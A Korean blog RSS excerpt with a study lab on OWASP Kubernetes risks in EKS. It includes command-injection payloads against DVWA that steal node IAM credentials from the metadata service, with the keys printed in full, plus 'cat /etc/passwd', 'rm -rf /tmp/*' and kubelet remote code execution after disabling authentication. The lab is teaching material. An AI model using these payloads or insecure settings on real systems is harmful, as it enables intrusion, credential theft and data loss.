&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;실습 완료 후 삭제&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1713195508730&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;kubectl delete deploy,svc myweb&lt;/code&gt;&lt;/pre&gt;</description>
      <author>imxsuu</author>
      <guid isPermaLink="true">https://imxsuu.tistory.com/17</guid>
      <comments>https://imxsuu.tistory.com/17#entry17comment</comments>
      <pubDate>Mon, 15 Apr 2024 11:50:36 +0900</pubDate>
    </item>
    <item>
      <title>[AEWS] OWASP Kubernetes Top Ten &amp;amp; Kyverno</title>
      <link>https://imxsuu.tistory.com/16</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;OWASP&amp;nbsp;Kubernetes&amp;nbsp;Top&amp;nbsp;Ten&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot;&gt;OWASP Kubernetes Top Ten은 OWASP(Open Web Application Security Project)에서 제공하는 Kubernetes 환경에서 발생할 수 있는 주요 보안 위협을 나열한 목록입니다. 이 목록은 Kubernetes 기반 시스템에서 발생할 수 있는 보안 취약점을 이해하고 대응하기 위해 개발자, 보안 전문가 및 DevOps 팀이 참고할 수 있도록 설계되었습니다. &lt;/span&gt;아래는 OWASP Kubernetes Top Ten의 주요 보안 위협 10가지입니다:&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal; background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;무단 접근을 허용하는 Kubernetes API 서버 (Insecure Kubernetes API Server)&lt;/b&gt;: Kubernetes API 서버는 클러스터를 관리하는 핵심 구성 요소이며, 적절하지 않은 구성이나 접근 제어 부재로 인해 무단 접근이 가능해질 수 있습니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;권한 상승 (Privilege Escalation)&lt;/b&gt;: RBAC (Role-Based Access Control) 및 Pod Security Policies 등 권한 관리 메커니즘의 오류나 취약점으로 인해 공격자가 권한을 높일 수 있습니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;보안 인터페이스의 미비 (Insecure Interfaces)&lt;/b&gt;: Kubernetes는 kubelet, etcd 등 다양한 인터페이스를 노출하는데, 이러한 인터페이스의 적절한 보안 설정이 없으면 공격자가 클러스터를 조작할 수 있습니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;워크로드 보안 (Workload Security)&lt;/b&gt;: 컨테이너화된 워크로드 (예: Pods)의 보안 취약점이나 보안되지 않은 이미지 레지스트리 등으로 인해 공격자가 클러스터 내에서 작업을 조작할 수 있습니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;감염된 컨테이너 (Compromised Containers)&lt;/b&gt;: 감염된 또는 취약한 컨테이너를 통해 공격자가 클러스터 내에서 악성 활동을 수행할 수 있습니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;데이터 보안 (Data Security)&lt;/b&gt;: Kubernetes 환경에서 데이터의 기밀성과 무결성을 유지하는 것이 중요합니다. 부적절한 데이터 보안 설정은 데이터 유출 또는 변조로 이어질 수 있습니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;부적절한 구성 (Configuration Issues)&lt;/b&gt;: Kubernetes 클러스터의 구성 오류는 보안 문제로 이어질 수 있습니다. 예를 들어, 기본 보안 구성의 미비, 암호화 설정 부재 등이 있습니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;비인가된 사용자의 클러스터 접근 (Unauthorized Cluster Access)&lt;/b&gt;: 취약한 인증 및 액세스 제어 설정으로 인해 비인가된 사용자가 클러스터에 접근할 수 있습니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;네트워크 보안 (Network Security)&lt;/b&gt;: Kubernetes 클러스터의 네트워크 구성은 보안에 중요한 역할을 합니다. 부적절한 네트워크 보안 설정은 공격의 가능성을 높일 수 있습니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;서비스의 부적절한 노출 (Exposure of Services)&lt;/b&gt;: 취약한 서비스 구성으로 인해 공격자가 서비스를 악용할 수 있습니다. 서비스 노출 및 접근 제어가 중요합니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;[출처 : ChatGPT]&lt;/i&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1247&quot; data-origin-height=&quot;699&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/8hnoM/btsGxBMJGys/DQBgp4HU9HdpRgZgAJzp8K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/8hnoM/btsGxBMJGys/DQBgp4HU9HdpRgZgAJzp8K/img.png&quot; data-alt=&quot;https://awskoreamarketingasset.s3.amazonaws.com/2022 Summit/pdf/T10S1_EKS 환경을 더 효율적으로 더 안전하게.pdf&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/8hnoM/btsGxBMJGys/DQBgp4HU9HdpRgZgAJzp8K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F8hnoM%2FbtsGxBMJGys%2FDQBgp4HU9HdpRgZgAJzp8K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1247&quot; height=&quot;699&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1247&quot; data-origin-height=&quot;699&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;https://awskoreamarketingasset.s3.amazonaws.com/2022 Summit/pdf/T10S1_EKS 환경을 더 효율적으로 더 안전하게.pdf&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;a href=&quot;https://malwareanalysis.tistory.com/607&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&lt;span style=&quot;color: #d44c47;&quot; data-token-index=&quot;0&quot;&gt;EKS pod가 IMDS API를 악용하는 시나리오&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #333333;&quot; data-token-index=&quot;0&quot;&gt;mysql 배포&lt;/span&gt;&lt;/h4&gt;
&lt;pre id=&quot;code_1712888411132&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;cat &amp;lt;&amp;lt;EOT &amp;gt; mysql.yaml
apiVersion: v1
kind: Secret
metadata:
  name: dvwa-secrets
type: Opaque
data:
  # s3r00tpa55
  ROOT_PASSWORD: czNyMDB0cGE1NQ==
  # dvwa
  DVWA_USERNAME: ZHZ3YQ==
  # p@ssword
  DVWA_PASSWORD: cEBzc3dvcmQ=
  # dvwa
  DVWA_DATABASE: ZHZ3YQ==
---
apiVersion: v1
kind: Service
metadata:
  name: dvwa-mysql-service
spec:
  selector:
    app: dvwa-mysql
    tier: backend
  ports:
    - protocol: TCP
      port: 3306
      targetPort: 3306
---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: dvwa-mysql
spec:
  replicas: 1
  selector:
    matchLabels:
      app: dvwa-mysql
      tier: backend
  template:
    metadata:
      labels:
        app: dvwa-mysql
        tier: backend
    spec:
      containers:
        - name: mysql
          image: mariadb:10.1
          resources:
            requests:
              cpu: &quot;0.3&quot;
              memory: 256Mi
            limits:
              cpu: &quot;0.3&quot;
              memory: 256Mi
          ports:
            - containerPort: 3306
          env:
            - name: MYSQL_ROOT_PASSWORD
              valueFrom:
                secretKeyRef:
                  name: dvwa-secrets
                  key: ROOT_PASSWORD
            - name: MYSQL_USER
              valueFrom:
                secretKeyRef:
                  name: dvwa-secrets
                  key: DVWA_USERNAME
            - name: MYSQL_PASSWORD
              valueFrom:
                secretKeyRef:
                  name: dvwa-secrets
                  key: DVWA_PASSWORD
            - name: MYSQL_DATABASE
              valueFrom:
                secretKeyRef:
                  name: dvwa-secrets
                  key: DVWA_DATABASE
EOT
kubectl apply -f mysql.yaml&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;dvwa 배포&lt;/h4&gt;
&lt;pre id=&quot;code_1712888492657&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;cat &amp;lt;&amp;lt;EOT &amp;gt; dvwa.yaml
apiVersion: v1
kind: ConfigMap
metadata:
  name: dvwa-config
data:
  RECAPTCHA_PRIV_KEY: &quot;&quot;
  RECAPTCHA_PUB_KEY: &quot;&quot;
  SECURITY_LEVEL: &quot;low&quot;
  PHPIDS_ENABLED: &quot;0&quot;
  PHPIDS_VERBOSE: &quot;1&quot;
  PHP_DISPLAY_ERRORS: &quot;1&quot;
---
apiVersion: v1
kind: Service
metadata:
  name: dvwa-web-service
spec:
  selector:
    app: dvwa-web
  type: ClusterIP
  ports:
    - protocol: TCP
      port: 80
      targetPort: 80
---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: dvwa-web
spec:
  replicas: 1
  selector:
    matchLabels:
      app: dvwa-web
  template:
    metadata:
      labels:
        app: dvwa-web
    spec:
      containers:
        - name: dvwa
          image: cytopia/dvwa:php-8.1
          ports:
            - containerPort: 80
          resources:
            requests:
              cpu: &quot;0.3&quot;
              memory: 256Mi
            limits:
              cpu: &quot;0.3&quot;
              memory: 256Mi
          env:
            - name: RECAPTCHA_PRIV_KEY
              valueFrom:
                configMapKeyRef:
                  name: dvwa-config
                  key: RECAPTCHA_PRIV_KEY
            - name: RECAPTCHA_PUB_KEY
              valueFrom:
                configMapKeyRef:
                  name: dvwa-config
                  key: RECAPTCHA_PUB_KEY
            - name: SECURITY_LEVEL
              valueFrom:
                configMapKeyRef:
                  name: dvwa-config
                  key: SECURITY_LEVEL
            - name: PHPIDS_ENABLED
              valueFrom:
                configMapKeyRef:
                  name: dvwa-config
                  key: PHPIDS_ENABLED
            - name: PHPIDS_VERBOSE
              valueFrom:
                configMapKeyRef:
                  name: dvwa-config
                  key: PHPIDS_VERBOSE
            - name: PHP_DISPLAY_ERRORS
              valueFrom:
                configMapKeyRef:
                  name: dvwa-config
                  key: PHP_DISPLAY_ERRORS
            - name: MYSQL_HOSTNAME
              value: dvwa-mysql-service
            - name: MYSQL_DATABASE
              valueFrom:
                secretKeyRef:
                  name: dvwa-secrets
                  key: DVWA_DATABASE
            - name: MYSQL_USERNAME
              valueFrom:
                secretKeyRef:
                  name: dvwa-secrets
                  key: DVWA_USERNAME
            - name: MYSQL_PASSWORD
              valueFrom:
                secretKeyRef:
                  name: dvwa-secrets
                  key: DVWA_PASSWORD
EOT
kubectl apply -f dvwa.yaml&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;ingress 배포&lt;/h4&gt;
&lt;pre id=&quot;code_1712888511436&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;cat &amp;lt;&amp;lt;EOT &amp;gt; dvwa-ingress.yaml
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  annotations:
    alb.ingress.kubernetes.io/certificate-arn: $CERT_ARN
    alb.ingress.kubernetes.io/group.name: study
    alb.ingress.kubernetes.io/listen-ports: '[{&quot;HTTPS&quot;:443}, {&quot;HTTP&quot;:80}]'
    alb.ingress.kubernetes.io/load-balancer-name: myeks-ingress-alb
    alb.ingress.kubernetes.io/scheme: internet-facing
    alb.ingress.kubernetes.io/ssl-redirect: &quot;443&quot;
    alb.ingress.kubernetes.io/success-codes: 200-399
    alb.ingress.kubernetes.io/target-type: ip
  name: ingress-dvwa
spec:
  ingressClassName: alb
  rules:
  - host: dvwa.$MyDomain
    http:
      paths:
      - backend:
          service:
            name: dvwa-web-service
            port:
              number: 80
        path: /
        pathType: Prefix
EOT
kubectl apply -f dvwa-ingress.yaml
echo -e &quot;DVWA Web https://dvwa.$MyDomain&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Command Injection 시나리오&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;웹 접속 admin / password &amp;rarr; DB 구성을 위해 클릭 (재로그인) &amp;rArr; admin / password&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1712888764480&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 명령 실행 가능 확인
8.8.8.8 ; echo ; hostname
8.8.8.8 ; echo ; whoami

# IMDSv2 토큰 복사해두기
8.8.8.8 ; curl -s -X PUT &quot;http://169.254.169.254/latest/api/token&quot; -H &quot;X-aws-ec2-metadata-token-ttl-seconds: 21600&quot;
AQAEACFn9eezuMlE-T5OHBsuAlOKh31pIq8UGOnRzzFfuhfbRGwSJA==

# EC2 Instance Profile (IAM Role) 이름 확인
8.8.8.8 ; curl -s -H &quot;X-aws-ec2-metadata-token: AQAEACFn9eezuMlE-T5OHBsuAlOKh31pIq8UGOnRzzFfuhfbRGwSJA==&quot; &amp;ndash;v http://169.254.169.254/latest/meta-data/iam/security-credentials/
eksctl-myeks-nodegroup-ng1-NodeInstanceRole-kgZD1dU60nuF

# EC2 Instance Profile (IAM Role) 자격증명탈취 
8.8.8.8 ; curl -s -H &quot;X-aws-ec2-metadata-token: AQAEACFn9eezuMlE-T5OHBsuAlOKh31pIq8UGOnRzzFfuhfbRGwSJA==&quot; &amp;ndash;v http://169.254.169.254/latest/meta-data/iam/security-credentials/eksctl-myeks-nodegroup-ng1-NodeInstanceRole-kgZD1dU60nuF
{
  &quot;Code&quot; : &quot;Success&quot;,
  &quot;LastUpdated&quot; : &quot;2023-05-28T08:57:40Z&quot;,
  &quot;Type&quot; : &quot;AWS-HMAC&quot;,
  &quot;AccessKeyId&quot; : &quot;ASIA5ILF2FJITL3SDNHF&quot;,
  &quot;SecretAccessKey&quot; : &quot;vYKlEwY2sEOhZuSLl3YHuuantav9wCQyuBXi/Utq&quot;,
  &quot;Token&quot; : &quot;IQoJb3JpZ2luX2VjECEaDmFwLW5vcnRoZWFzdC0yIkcwRQIgFGjfFf2Mw+PBWyyiwdvz/F4BTA9jWFsxxOlqnuGr9zUCIQDpG/aispNmH33bKme7+nOcgixKwrZJAiElX6HD9ZybWyrMBQhaEAEaDDkxMTI4MzQ2NDc4NSIM852DvLWwQ2F0+h3YKqkFORn7pJxNAZ62USbc6+MwtCa+F2scLKsBgcAtsGVu9pMbQIqiFqojIw1BX+7mDu7V+wVcwifMNV+5idGSewHnAmflFRcFFDqmmaR963rZ5D+HVsdNnWWzEYYI7YRREsoHEu1qp4WfAolF0wry5bZUVuKW4nfRFI7gWdHjEvGf3Q8X6g42N4NL25APbk4f4L1G/NyfwSNtX6SH/KJOkEfICCl0dERTeTLKPmFEyRg6eW2GodR2EOmrzNgV526elVAGr0xR+dSKLHtueoI6RMQzVcWa7PTTfCpy5fdgfJddewrWcqiVbS5XdsFsSyAryYoQsa2Qv2OcC0kPOicDOsvx0gTg9Aa0hQ+jMmjoiKXYp/Tl5uNzrjyUyEEwm8BO54Bz40qAVJTRAKXFfgpg6ypNeGeS8tsrZ0zIGSlU0bzBCDwbtPkmwk8vposE0sbLZltFypdJOCZwkL4PeQGG3pIVoFvq0ldlw+YMDJ84iUcRGIsyyPT1a5dAkHC+NYcJ9dd02hGpEfJLhj5I6MbzFHc2GAbBivT7a6P+Td2yZEP8YbpTZi9c/yXptV6r+ALvpeSCFpsr0NrPNpesxyOXc0f30fGHiTaodZ/a1avjb9gyotM+LHgKELvBlPt48Hu8duoAclP+/BvLUJHQAbAgKXGcbxtyvZiFEvrw2DPlJNgDcp06CQMzUGtyboE6H4B8gZxqVUI0c8WcCvKpsCYTWqj8EUjFLuUvBu3EzN/z8XynFdoLV1GLR/HRFpYmcI0InP3ScHi/tFoxs3SqPjcDn0G0QVd+vix4CxwXUHGehR4pEKlUoUxUzpCcE61MgZIijM54wcb4CJ6lL0YQQT0hoJBkE574xa4OibT/6d8qRP+9LzlkJ8Ir2FLN2mcjluPYLNs/nYPdqbZ5xlPeML6vzKMGOrEBz8jfqk9F1TtITJs/+EIouyyG/1cEJFYFEcqJJZ1nDqvY4CY11HX1GU8GDtWyYfXGOejQK1dTB8RCOcYdfKYXQGHT3Dl7Y/zLrA69Si7Vs28oZfEHLd0BDp6sFY8u1zN6jxI6NLnICa00RbWkqI70SiAzLKWAektS5LgbDU7liyH90vJ0IfqnlntN4nNFyB40l8JFlpL7ks+mGzsDLlCZjXWdPjrX/emHek7pktkfnI9V&quot;,
  &quot;Expiration&quot; : &quot;2023-05-28T15:03:24Z&quot;
}

# 그외 다양한 명령 실행 가능
8.8.8.8; cat /etc/passwd
8.8.8.8; rm -rf /tmp/*&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;DVWA Security : Medium 변경 후 시도 &amp;rarr; 더 이상 명령 실행 X &amp;rArr; 다음 실습을 위해 Low 다시 변경&lt;/li&gt;
&lt;li&gt;Low Command Injection Source&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1712889118291&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo &quot;&amp;lt;pre&amp;gt;{$cmd}&amp;lt;/pre&amp;gt;&quot;;
}

?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Medium Command Injection Source&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1712889156851&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Set blacklist
    $substitutions = array(
        '&amp;amp;&amp;amp;' =&amp;gt; '',
        ';'  =&amp;gt; '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo &quot;&amp;lt;pre&amp;gt;{$cmd}&amp;lt;/pre&amp;gt;&quot;;
}

?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;a href=&quot;https://malwareanalysis.tistory.com/606&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&lt;span style=&quot;color: #d44c47;&quot; data-token-index=&quot;0&quot;&gt;Kubelet 미흡한 인증/인가 설정 시 위험&lt;/span&gt; +&amp;nbsp;&lt;span data-token-index=&quot;2&quot;&gt;kubeletct&lt;/span&gt;&amp;nbsp;툴 &lt;/a&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;[myeks-bastion]&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1712889225163&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 노드의 kubelet API 인증과 인가 관련 정보 확인
ssh ec2-user@$N1 cat /etc/kubernetes/kubelet/kubelet-config.json | jq
ssh ec2-user@$N1 cat /var/lib/kubelet/kubeconfig | yh

# 노드의 kubelet 사용 포트 확인 
ssh ec2-user@$N1 sudo ss -tnlp | grep kubelet
LISTEN 0      4096       127.0.0.1:10248      0.0.0.0:*    users:((&quot;kubelet&quot;,pid=2940,fd=20))
LISTEN 0      4096               *:10250            *:*    users:((&quot;kubelet&quot;,pid=2940,fd=21))

# 데모를 위해 awscli 파드 생성
cat &amp;lt;&amp;lt;EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: myawscli
spec:
  #serviceAccountName: my-sa
  containers:
    - name: my-aws-cli
      image: amazon/aws-cli:latest
      command: ['sleep', '36000']
  restartPolicy: Never
  terminationGracePeriodSeconds: 0
EOF

# 파드 사용
kubectl exec -it myawscli -- aws sts get-caller-identity --query Arn
kubectl exec -it myawscli -- aws s3 ls
kubectl exec -it myawscli -- aws ec2 describe-instances --region ap-northeast-2 --output table --no-cli-pager
kubectl exec -it myawscli -- aws ec2 describe-vpcs --region ap-northeast-2 --output table --no-cli-pager&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;[myeks-bastion-2] kubeletct 설치 및 사용&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1712889247960&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 기존 kubeconfig 삭제
rm -rf ~/.kube

# 다운로드
curl -LO https://github.com/cyberark/kubeletctl/releases/download/v1.11/kubeletctl_linux_amd64 &amp;amp;&amp;amp; chmod a+x ./kubeletctl_linux_amd64 &amp;amp;&amp;amp; mv ./kubeletctl_linux_amd64 /usr/local/bin/kubeletctl
kubeletctl version
kubeletctl help

# 노드1 IP 변수 지정
N1=&amp;lt;각자 자신의 노드1의 PrivateIP&amp;gt;
N1=192.168.1.81

# 노드1 IP로 Scan
kubeletctl scan --cidr $N1/32

# 노드1에 kubelet API 호출 시도
curl -k https://$N1:10250/pods; echo
Unauthorized&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;[myeks-bastion] &amp;rarr; 노드1 접속 : kubelet-config.json 수정&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1712889267979&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 노드1 접속
ssh ec2-user@$N1
-----------------------------
# 미흡한 인증/인가 설정으로 변경
sudo vi /etc/kubernetes/kubelet/kubelet-config.json
...
&quot;authentication&quot;: {
    &quot;anonymous&quot;: {
      &quot;enabled&quot;: true
...
  },
  &quot;authorization&quot;: {
    &quot;mode&quot;: &quot;AlwaysAllow&quot;,
...

# kubelet restart
sudo systemctl restart kubelet
systemctl status kubelet
-----------------------------&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;[myeks-bastion-2] kubeletctl 사용&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1712889294106&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 파드 목록 확인
curl -s -k https://$N1:10250/pods | jq

# kubelet-config.json 설정 내용 확인
curl -k https://$N1:10250/configz | jq

# kubeletct 사용
# Return kubelet's configuration
kubeletctl -s $N1 configz | jq

# Get list of pods on the node
kubeletctl -s $N1 pods

# Scans for nodes with opened kubelet API &amp;gt; Scans for for all the tokens in a given Node
kubeletctl -s $N1 scan token

# 단, 아래 실습은 워커노드1에 myawscli 파드가 배포되어 있어야 실습이 가능. 물론 노드2~3에도 kubelet 수정하면 실습 가능함.
# kubelet API로 명령 실행 : &amp;lt;네임스페이스&amp;gt; / &amp;lt;파드명&amp;gt; / &amp;lt;컨테이너명&amp;gt;
curl -k https://$N1:10250/run/default/myawscli/my-aws-cli -d &quot;cmd=aws --version&quot;

# Scans for nodes with opened kubelet API &amp;gt; remote code execution on their containers
kubeletctl -s $N1 scan rce

# Run commands inside a container
kubeletctl -s $N1 exec &quot;/bin/bash&quot; -n default -p myawscli -c my-aws-cli
--------------------------------
export
aws --version
aws ec2 describe-vpcs --region ap-northeast-2 --output table --no-cli-pager
exit
--------------------------------

# Return resource usage metrics (such as container CPU, memory usage, etc.)
kubeletctl -s $N1 metrics&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Kyverno&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: -apple-system, BlinkMacSystemFont, 'Helvetica Neue', 'Apple SD Gothic Neo', Arial, sans-serif; letter-spacing: 0px;&quot;&gt;Kyverno&lt;/span&gt;&lt;span style=&quot;font-family: -apple-system, BlinkMacSystemFont, 'Helvetica Neue', 'Apple SD Gothic Neo', Arial, sans-serif; letter-spacing: 0px;&quot;&gt;는 Kubernetes용으로 특별히 설계된 정책 엔진입니다.&lt;/span&gt;
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;&lt;span data-token-index=&quot;0&quot;&gt;Policy-as-Code&lt;/span&gt;&lt;/b&gt;를 시행할 수 있는 CNCF(Cloud Native Computing Foundation) 프로젝트입니다.&lt;/li&gt;
&lt;li&gt;학습할 새로운 언어없이 YAML로 작성된 선언형(declarative) 리소스를 허용하며 결과는 Kubernetes 리소스 및 이벤트로 제공됩니다.&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: -apple-system, BlinkMacSystemFont, 'Helvetica Neue', 'Apple SD Gothic Neo', Arial, sans-serif; letter-spacing: 0px;&quot;&gt;정책을 사용하여 리소스 구성을 &lt;b&gt;&lt;span data-token-index=&quot;0&quot;&gt;validate&lt;/span&gt;&lt;/b&gt;,&amp;nbsp;&lt;b&gt;&lt;span data-token-index=&quot;2&quot;&gt;mutate&lt;/span&gt;&lt;/b&gt;, &lt;b&gt;&lt;span data-token-index=&quot;4&quot;&gt;generate&lt;/span&gt;&lt;/b&gt;할 수 있습니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;정책은 &lt;b&gt;&lt;span data-token-index=&quot;0&quot;&gt;kind&lt;/span&gt;&lt;/b&gt;, &lt;b&gt;&lt;span data-token-index=&quot;2&quot;&gt;name&lt;/span&gt;&lt;/b&gt;, &lt;b&gt;&lt;span data-token-index=&quot;4&quot;&gt;label&lt;/span&gt; selectors&lt;/b&gt; 등을 사용하여 리소스를 일치시킬 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;동작&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #000000;&quot; href=&quot;https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/&quot; data-token-index=&quot;0&quot;&gt;&lt;span&gt;Dynamic Admission Control&lt;/span&gt;&lt;/a&gt; 로 실행되며 Mutating/Validating admission 에서 동작하여 허용/거부 결과를 반환합니다.&lt;/p&gt;
